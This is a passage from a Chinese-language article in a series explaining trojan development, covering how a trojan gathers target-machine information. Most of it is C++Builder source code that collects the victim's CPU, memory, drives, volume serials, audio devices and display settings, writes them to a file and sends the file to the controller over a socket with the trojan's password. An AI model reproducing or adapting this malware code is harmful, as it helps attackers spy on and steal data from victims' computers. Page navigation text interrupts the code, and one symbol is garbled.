网络安全 频道

透视木马程序开发技术 病毒源代码详解

6、目标机器情况的获取

相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

AnsiString cs;

FILE *fp;

fp=fopen("temp.had","w+");

//TOD Add your source code here

//获得CPU型号

SYSTEM_INFO systeminfo;

GetSystemInfo (&systeminfo);

cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

MEMORYSTATUS memory;

memory.dwLength =sizeof(memory); //初始化

GlobalMemoryStatus(&memory);

cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

DWORD sector,byte,cluster,free;

long int freespace,totalspace;

UINT type;

char name;

//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、

//5—CD-ROM、6—内存虚拟盘

char volname[255],filename[100];//buffer[512];

DWORD sno,maxl,fileflag ;

for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z

type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型

if(type==0){

cs="未知类型磁盘:"+String(name)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

}

else if(type==2){

cs="可移动类型磁盘:"+String(name)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

}

else if(type==3){

cs="固定磁盘:"+String(name)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

}

else if(type==4) {

cs="网络映射磁盘:"+String(name)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

}

else if (type==5){

cs="光驱:"+String(name)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

}

else if (type==6){

cs="内存虚拟磁盘:"+String(name)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

}

if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), 
volname,255,&sno,&maxl,&fileflag,filename,100)){

cs=String(name)+"盘卷标为:"+String(volname)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

cs=String(name)+"盘序号为:"+String(sno)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量

freespace=int(free)*byte*sector/1024/1024; //计算可用空间

cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

}

}

int wavedevice,mididevice;

WAVEOUTCAPS wavecap;

MIDIOUTCAPS midicap;

wavedevice=(int)waveOutGetNumDevs(); //波形设备信息

mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息

if (wavedevice!=0){

waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));

cs="当前波形设备:"+String(wavecap.szPname)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

}

if (mididevice!=0){

midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

cs="当前MIDI设备:"+String(midicap.szPname)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

}

long double tcs;

long double tc;

long int bpp,cp;

cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

tcs=pow(2,bpp); //计算色彩的梯度数

cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);

tc= pow(double(tcs),double(cp)); //计算色深

AnsiString sss;

sss=bpp;

cs="当前色深为:"+sss+"\n";

fwrite(cs.c_str(),cs.Length(),1,fp);

fclose(fp);

AnsiString FileName="temp.had";

char *buf;

TcpMsgUint Msg2;

strcpy(Msg2.TPassword,Password);

TMemoryStream *ms=new TMemoryStream;

ms->Clear();

if (!FileExists(FileName)) CheckHard();

TFileStream *fs=new TFileStream(FileName,fmOpenRead);

上一页 1 2 3

buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

fs->Read(buf,fs->Size);

Msg2.Type=MsgGetHardWare;

Msg2.Length=fs->Size;

FileClose(fs->Handle);

ms->Write(&Msg2,sizeof(TcpMsgUint));

ms->Write(buf,Msg2.Length);

ms->Position=0;

delete []buf;

try{

sock->SendStream(ms);

}

catch(Exception&e) {

}

}

上面一段程序,基本上把相关的系统信息都取到了。

0
相关文章